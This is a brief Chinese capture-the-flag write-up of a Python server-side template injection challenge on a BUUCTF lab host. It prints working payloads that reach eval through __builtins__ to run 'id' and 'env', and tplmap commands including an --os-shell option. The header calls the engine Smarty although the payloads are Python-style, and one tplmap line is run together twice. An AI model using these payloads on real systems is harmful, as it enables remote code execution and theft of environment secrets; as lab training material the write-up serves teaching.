知识点
- SSTI
- python模板注入(Smarty模板)
启动靶机
1. 访问题目
打开页面,页面显示Hello guest,猜测要传参name,尝试传参
2. SSTI注入
尝试进行ssti注入(根据题目提示也可知是ssti)
发现存在模板注入,payload:
?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
3. env打印环境变量拿到flag
env打印环境变量:
?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}

使用splmap工具
python tplmap.py -u http://node4.buuoj.cn:29668/\?name\=1python tplmap.py -u http://node4.buuoj.cn:29668/\?name\=1 --os-shell

存在ssti:

env查看环境变量,得到flag
